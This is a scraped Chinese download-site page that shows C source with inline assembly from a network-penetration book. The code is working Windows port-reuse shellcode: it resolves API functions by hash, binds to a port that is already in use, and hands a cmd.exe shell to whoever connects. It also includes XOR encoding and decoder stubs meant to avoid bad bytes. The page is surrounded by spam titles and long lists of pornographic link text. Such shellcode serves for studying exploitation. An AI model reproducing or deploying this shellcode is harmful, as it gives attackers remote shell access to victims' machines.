亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频

? 歡迎來到蟲蟲下載站! | ?? 資源下載 ?? 資源專輯 ?? 關于我們
? 蟲蟲下載站

?? shellcode_port_reuse.c

?? 網絡滲透技術配書源碼
?? C
字號:
/* shellcode_port_reuse.c**  《網絡滲透技術》演示程序
*  作者:san, alert7, eyas, watercloud
*
*  端口復用的shellcode演示*/#define PROC_BEGIN __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90\                   __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90 __asm  _emit 0x90#define PROC_END PROC_BEGINunsigned char sh_Buff[1024];unsigned int  sh_Len;unsigned int  Enc_key=0x99;unsigned char decode1[] =/*00401004   . /EB 0E         JMP SHORT encode.0040101400401006   $ |5B            POP EBX00401007   . |4B            DEC EBX00401008   . |33C9          XOR ECX,ECX0040100A   . |B1 FF         MOV CL,0FF0040100C   > |80340B 99     XOR BYTE PTR DS:[EBX+ECX],9900401010   .^|E2 FA         LOOPD SHORT encode.0040100C00401012   . |EB 05         JMP SHORT encode.0040101900401014   > \E8 EDFFFFFF   CALL encode.00401006*/"\xEB\x0E\x5B\x4B\x33\xC9\xB1""\xFF"          // shellcode size"\x80\x34\x0B""\x99"          // xor byte"\xE2\xFA\xEB\x05\xE8\xED\xFF\xFF\xFF";unsigned char decode2[] =/* ripped from eyas00406030   /EB 10           JMP SHORT 0040604200406032   |5B              POP EBX00406033   |4B              DEC EBX00406034   |33C9            XOR ECX,ECX00406036   |66:B9 6601      MOV CX,1660040603A   |80340B 99       XOR BYTE PTR DS:[EBX+ECX],990040603E  ^|E2 FA           LOOPD SHORT 0040603A00406040   |EB 05           JMP SHORT 0040604700406042   \E8 EBFFFFFF     CALL 00406032*/"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9""\x66\x01"      // shellcode size"\x80\x34\x0B""\x99"          // xor byte"\xE2\xFA\xEB\x05\xE8\xEB\xFF\xFF\xFF";// kernel32.dll functions index#define _LoadLibraryA           0x00#define _CreateProcessA         0x04#define _TerminateProcess       0x08// ws2_32.dll functions index#define _WSAStartup             0x0C#define _WSASocketA             0x10#define _setsockopt             0x14#define _bind                   0x18#define _listen                 0x1C#define _accept                 0x20// data index#define _ip                     0x24#define _port                   0x28// functions number#define _Knums                  3#define _Wnums                  6// Need functionsunsigned char functions[100][128] ={    // kernel32    {"LoadLibraryA"},       // [esi]    {"CreateProcessA"},     // [esi+0x04]    {"TerminateProcess"},   // [esi+0x08]    // ws2_32    {"WSAStartup"},         // [esi+0x0C]    {"WSASocketA"},         // [esi+0x10]    {"setsockopt"},         // [esi+0x14]    {"bind"},               // [esi+0x18]    {"listen"},             // [esi+0x1C]    {"accept"},             // [esi+0x20]    {"ip"},                 // [esi+0x24]    {"port"},               // [esi+0x28]    {""},};void PrintSc(unsigned char *lpBuff, int buffsize);void ShellCode();// Get function hashunsigned long hash(unsigned char *c){    unsigned long h=0;    while(*c)    {        h = ( ( h << 25 ) | ( h >> 7 ) ) + *c++;    }    return h;}// get shellcodevoid GetShellCode(){    char  *fnbgn_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";    char  *fnend_str="\x90\x90\x90\x90\x90\x90\x90\x90\x90";    unsigned char  *pSc_addr;    unsigned char  pSc_Buff[1024];    unsigned int   MAX_Sc_Len=0x2000;    unsigned long  dwHash[100];    unsigned int   dwHashSize;    int l,i,j,k;    // Get functions hash    for (i=0;;i++) {        if (functions[i][0] == '\x0') break;        dwHash[i] = hash(functions[i]);        //fprintf(stderr, "%.8X\t%s\n", dwHash[i], functions[i]);    }    dwHashSize = i*4;    // Deal with shellcode    pSc_addr = (unsigned char *)ShellCode;    for (k=0;k<MAX_Sc_Len;++k ) {        if(memcmp(pSc_addr+k,fnbgn_str, 8)==0) {            break;        }    }    pSc_addr+=(k+8);   // start of the ShellCode        for (k=0;k<MAX_Sc_Len;++k) {        if(memcmp(pSc_addr+k,fnend_str, 8)==0) {            break;        }    }    sh_Len=k; // length of the ShellCode        memcpy(pSc_Buff, pSc_addr, sh_Len);    // Add functions hash    memcpy(pSc_Buff+sh_Len, (unsigned char *)dwHash, dwHashSize);    sh_Len += dwHashSize;    //printf("%d bytes shellcode\n", sh_Len);    // print shellcode    //PrintSc(pSc_Buff, sh_Len);    // find xor byte    for(i=0xff; i>0; i--)    {        l = 0;        for(j=0; j<sh_Len; j++)        {            if ( //                   ((pSc_Buff[j] ^ i) == 0x26) ||    //%//                   ((pSc_Buff[j] ^ i) == 0x3d) ||    //=//                   ((pSc_Buff[j] ^ i) == 0x3f) ||    //?//                   ((pSc_Buff[j] ^ i) == 0x40) ||    //@                   ((pSc_Buff[j] ^ i) == 0x00) ||//                   ((pSc_Buff[j] ^ i) == 0x0D) ||//                   ((pSc_Buff[j] ^ i) == 0x0A) ||                   ((pSc_Buff[j] ^ i) == 0x5C)                )            {                l++;                break;            };        }        if (l==0)        {            Enc_key = i;            //printf("Find XOR Byte: 0x%02X\n", i);            for(j=0; j<sh_Len; j++)            {                pSc_Buff[j] ^= Enc_key;            }            break;                        // break when found xor byte        }    }    // No xor byte found    if (l!=0){        //fprintf(stderr, "No xor byte found!\n");        sh_Len  = 0;    }    else {        //fprintf(stderr, "Xor byte 0x%02X\n", Enc_key);        // encode        if (sh_Len > 0xFF) {            *(unsigned short *)&decode2[8] = sh_Len;            *(unsigned char *)&decode2[13] = Enc_key;            memcpy(sh_Buff, decode2, sizeof(decode2)-1);            memcpy(sh_Buff+sizeof(decode2)-1, pSc_Buff, sh_Len);            sh_Len += sizeof(decode2)-1;        }        else {            *(unsigned char *)&decode1[7]  = sh_Len;            *(unsigned char *)&decode1[11] = Enc_key;            memcpy(sh_Buff, decode1, sizeof(decode1)-1);            memcpy(sh_Buff+sizeof(decode1)-1, pSc_Buff, sh_Len);            sh_Len += sizeof(decode1)-1;        }    }}// print shellcodevoid PrintSc(unsigned char *lpBuff, int buffsize){    int i,j;    char *p;    char msg[4];    fprintf(stderr, "/* %d bytes */\n",buffsize);    for(i=0;i<buffsize;i++)    {        if((i%16)==0)            if(i!=0)                fprintf(stderr, "\"\n\"");            else                fprintf(stderr, "\"");        sprintf(msg,"\\x%.2X",lpBuff[i]&0xff);        for( p = msg, j=0; j < 4; p++, j++ )        {            if(isupper(*p))                fprintf(stderr, "%c", _tolower(*p));            else                fprintf(stderr, "%c", p[0]);        }    }    fprintf(stderr, "\";\n");}// shellcode functionvoid ShellCode(){       __asm{PROC_BEGIN    //C macro to begin proc        jmp     locate_addrfunc_start:        pop     edi                             ; get eip        mov     eax, fs:30h        mov     eax, [eax+0Ch]        mov     esi, [eax+1Ch]        lodsd        mov     ebp, [eax+8]                    ; base address of kernel32.dll        mov     esi, edi        push    _Knums        pop     ecx        GetKFuncAddr:                           ; find functions from kernel32.dll        call    find_hashfunc_addr        loop    GetKFuncAddr        push    3233h        push    5F327377h                       ; ws2_32        push    esp        call    dword ptr [esi+_LoadLibraryA]        mov     ebp, eax                        ; base address of ws2_32.dll        push    _Wnums        pop     ecx                GetWFuncAddr:                           ; find functions from ws2_32.dll        call    find_hashfunc_addr        loop    GetWFuncAddr                add     edi, 8                          ; skip ip and port variable        sub     esp, 190h        push    esp        push    101h        call    dword ptr [esi+_WSAStartup]     ; WSAStartup(0x101, &WSADATA[0x190 bytes!])        push    eax        push    eax        push    eax        push    eax        push    1        push    2        call    dword ptr [esi+_WSASocketA]     ; WSASocketA(2,1,0,0,0,0)        mov     ebx, eax                        ; socket handle        mov     dword ptr [edi], 1        push    4        lea     edx, [edi]        push    edx        push    4        push    0xFFFF        push    ebx        call    dword ptr [esi+_setsockopt]        mov     word ptr [edi], 0x0002        mov     ax, word ptr [esi+_port]        xchg    al, ah        mov     word ptr [edi+2], ax            ; listen port        mov     eax, dword ptr [esi+_ip]        mov     dword ptr [edi+4], eax          ; IP address        push    10h        push    edi        push    ebx        call    dword ptr [esi+_bind]        push    1        push    ebx        call    dword ptr [esi+_listen]        push    eax        push    eax        push    ebx        call    dword ptr [esi+_accept]        mov     ebx, eax                        ; ebx = socket        push    646D63h                         ; "cmd"        lea     edx, [esp]        sub     esp, 54h        mov     edi, esp        push    14h        pop     ecx        xor     eax, eax        stack_zero:        mov     [edi+ecx*4], eax        loop    stack_zero        mov     byte ptr [edi+10h], 44h         ; si.cb = sizeof(si)        inc     byte ptr [edi+3Ch]              ; si.dwFlags = 0x100        inc     byte ptr [edi+3Dh]              ; dwFlags        mov     [edi+48h], ebx                  ; si.hStdInput = socket        mov     [edi+4Ch], ebx                  ; hStdOutput = socket        mov     [edi+50h], ebx                  ; hStdError = socket        lea     eax, [edi+10h]        push    edi        push    eax        push    ecx        push    ecx        push    ecx        push    1        push    ecx        push    ecx        push    edx                             ; "cmd"        push    ecx        call    dword ptr [esi+_CreateProcessA]        xor     eax, eax        dec     eax        push    eax        call    dword ptr [esi+_TerminateProcess]find_hashfunc_addr:        push    ecx        push    esi        mov     esi, [ebp+3Ch]                  ; e_lfanew        mov     esi, [esi+ebp+78h]              ; ExportDirectory RVA        add     esi, ebp                        ; rva2va        push    esi        mov     esi, [esi+20h]                  ; AddressOfNames RVA        add     esi, ebp                        ; rva2va        xor     ecx, ecx        dec     ecx                find_start:        inc     ecx        lodsd        add     eax, ebp        xor     ebx, ebx                hash_loop:        movsx   edx, byte ptr [eax]        cmp     dl, dh        jz      short find_addr        ror     ebx, 7                          ; hash        add     ebx, edx        inc     eax        jmp     short hash_loop             find_addr:        cmp     ebx, [edi]                      ; compare to hash        jnz     short find_start        pop     esi                             ; ExportDirectory        mov     ebx, [esi+24h]                  ; AddressOfNameOrdinals RVA        add     ebx, ebp                        ; rva2va        mov     cx, [ebx+ecx*2]                 ; FunctionOrdinal        mov     ebx, [esi+1Ch]                  ; AddressOfFunctions RVA        add     ebx, ebp                        ; rva2va        mov     eax, [ebx+ecx*4]                ; FunctionAddress RVA        add     eax, ebp                        ; rva2va        stosd                                   ; function address save to [edi]        pop     esi        pop     ecx        retn        locate_addr:        call    func_startPROC_END      //C macro to end proc        }}

?? 快捷鍵說明

復制代碼 Ctrl + C
搜索代碼 Ctrl + F
全屏模式 F11
切換主題 Ctrl + Shift + D
顯示快捷鍵 ?
增大字號 Ctrl + =
減小字號 Ctrl + -
亚洲欧美第一页_禁久久精品乱码_粉嫩av一区二区三区免费野_久草精品视频
91精品国产91久久久久久一区二区| 在线电影院国产精品| 亚洲国产一二三| 精品国内二区三区| 色88888久久久久久影院野外| 老司机免费视频一区二区| 亚洲精品日日夜夜| 久久网站最新地址| 欧美理论在线播放| 91麻豆精品视频| 国产一区久久久| 三级精品在线观看| 亚洲蜜桃精久久久久久久| 久久精品男人的天堂| 777xxx欧美| 在线观看国产91| av综合在线播放| 精品无人区卡一卡二卡三乱码免费卡| 一区二区高清在线| 一区在线播放视频| 欧美经典一区二区三区| 精品乱人伦一区二区三区| 欧美日韩一区二区三区在线看| eeuss影院一区二区三区| 国产自产高清不卡| 久久精品国产一区二区三| 亚洲国产精品精华液网站| 亚洲欧美电影一区二区| 中文字幕一区二区三区乱码在线 | 亚洲与欧洲av电影| 国产欧美日韩在线观看| 久久先锋影音av| 久久久久免费观看| 精品国产凹凸成av人网站| 日韩欧美国产综合在线一区二区三区| 欧美日韩一卡二卡| 欧美日韩免费一区二区三区视频| 91福利精品第一导航| 色婷婷亚洲综合| 在线观看亚洲一区| 91久久精品一区二区三| 一本在线高清不卡dvd| 91免费视频网| 在线观看av一区| 欧美色涩在线第一页| 欧美视频一区在线观看| 欧美日韩免费视频| 制服丝袜在线91| 欧美大黄免费观看| 精品久久久久香蕉网| 久久一留热品黄| 中日韩av电影| 亚洲色图一区二区| 亚洲国产精品尤物yw在线观看| 午夜精品福利视频网站 | 99在线精品一区二区三区| 不卡在线视频中文字幕| 色狠狠综合天天综合综合| 日本电影亚洲天堂一区| 欧美高清精品3d| 欧美xxxxxxxx| 国产精品无遮挡| 一区二区三区高清| 蜜臀精品久久久久久蜜臀| 国内不卡的二区三区中文字幕 | 日韩免费一区二区| 久久久不卡网国产精品一区| 国产精品毛片久久久久久| 成人欧美一区二区三区小说| 夜夜嗨av一区二区三区中文字幕| 日韩专区欧美专区| 国产一区不卡视频| 一本久久a久久精品亚洲| 678五月天丁香亚洲综合网| 久久久精品黄色| 亚洲精品中文在线影院| 日本成人在线看| 成人在线综合网站| 在线不卡免费欧美| 国产日产欧美一区二区三区 | 一区二区高清在线| 美国欧美日韩国产在线播放| 成人黄色在线看| 在线电影院国产精品| 亚洲国产电影在线观看| 午夜电影一区二区| 成人v精品蜜桃久久一区| 欧美日韩成人综合天天影院| 国产欧美日韩亚州综合 | 成人av在线网站| 欧美丰满美乳xxx高潮www| 日本一区二区视频在线| 三级欧美在线一区| 99视频在线观看一区三区| 日韩欧美中文字幕精品| 亚洲狠狠丁香婷婷综合久久久| 久久精品av麻豆的观看方式| 色哟哟精品一区| 久久久久久久久久看片| 爽好久久久欧美精品| 99精品久久只有精品| 精品乱码亚洲一区二区不卡| 亚洲成人免费观看| 成人av网址在线观看| 欧美精品一区二区三区高清aⅴ | 国产风韵犹存在线视精品| 欧美日韩大陆一区二区| 亚洲欧美视频一区| 国产不卡一区视频| 精品美女在线观看| 日韩精品每日更新| 日本道免费精品一区二区三区| 欧美韩国日本综合| 久久9热精品视频| 欧美一区二区三区播放老司机| 一区二区三区国产豹纹内裤在线| av一区二区久久| 国产欧美日韩亚州综合| 国产精品一区二区久激情瑜伽| 555www色欧美视频| 亚洲国产精品久久艾草纯爱 | 在线不卡一区二区| 亚洲国产视频在线| 91麻豆成人久久精品二区三区| 欧美激情一区二区三区全黄| 国模一区二区三区白浆| 精品国产乱码91久久久久久网站| 日韩经典一区二区| 在线91免费看| 水蜜桃久久夜色精品一区的特点| 欧美男人的天堂一二区| 香蕉久久一区二区不卡无毒影院 | 亚洲在线中文字幕| 欧洲精品一区二区| 亚洲主播在线播放| 精品视频一区二区不卡| 亚洲午夜视频在线观看| 欧美三级电影网站| 午夜在线电影亚洲一区| 91麻豆精品国产91久久久资源速度 | 午夜精品成人在线视频| 777久久久精品| 精品制服美女丁香| 久久一留热品黄| 成人av免费在线| 亚洲另类在线视频| 欧美三级在线看| 免费成人在线网站| 久久婷婷一区二区三区| 成人免费av在线| 亚洲人成网站影音先锋播放| 91行情网站电视在线观看高清版| 亚洲午夜久久久| 91精品国产综合久久久久久久久久 | 日韩一区精品字幕| 精品久久人人做人人爱| 高清成人免费视频| 亚洲美女少妇撒尿| 欧美日韩黄色影视| 国内外成人在线| 国产精品美女久久久久久久 | 久久精品人人做人人综合| 成人激情文学综合网| 亚洲精品久久久蜜桃| 91精品国产综合久久久久久 | 欧美日韩大陆一区二区| 开心九九激情九九欧美日韩精美视频电影 | av电影在线不卡| 亚洲福利视频三区| 精品99999| 97久久精品人人澡人人爽| 亚洲国产精品久久人人爱| 精品久久国产老人久久综合| 成人免费视频caoporn| 亚洲国产精品一区二区www在线 | 中文字幕一区二区三区不卡在线| 欧美三级在线播放| 国产精品1024| 亚洲一二三四区不卡| 精品国产乱码久久久久久久久| 成人免费毛片aaaaa**| 洋洋av久久久久久久一区| 精品久久久三级丝袜| 在线亚洲免费视频| 国产精品性做久久久久久| 午夜精品成人在线| 国产精品免费人成网站| 欧美日韩和欧美的一区二区| 国产精品一区二区在线观看不卡| 一区二区三区不卡视频| 日本一区免费视频| 欧美一区二区成人| 91久久精品一区二区二区| 国产福利一区二区三区在线视频| 亚洲成av人在线观看| 中文字幕永久在线不卡| 精品日韩一区二区三区免费视频| 色噜噜狠狠成人中文综合| 国产精品一区二区视频| 日韩av中文字幕一区二区|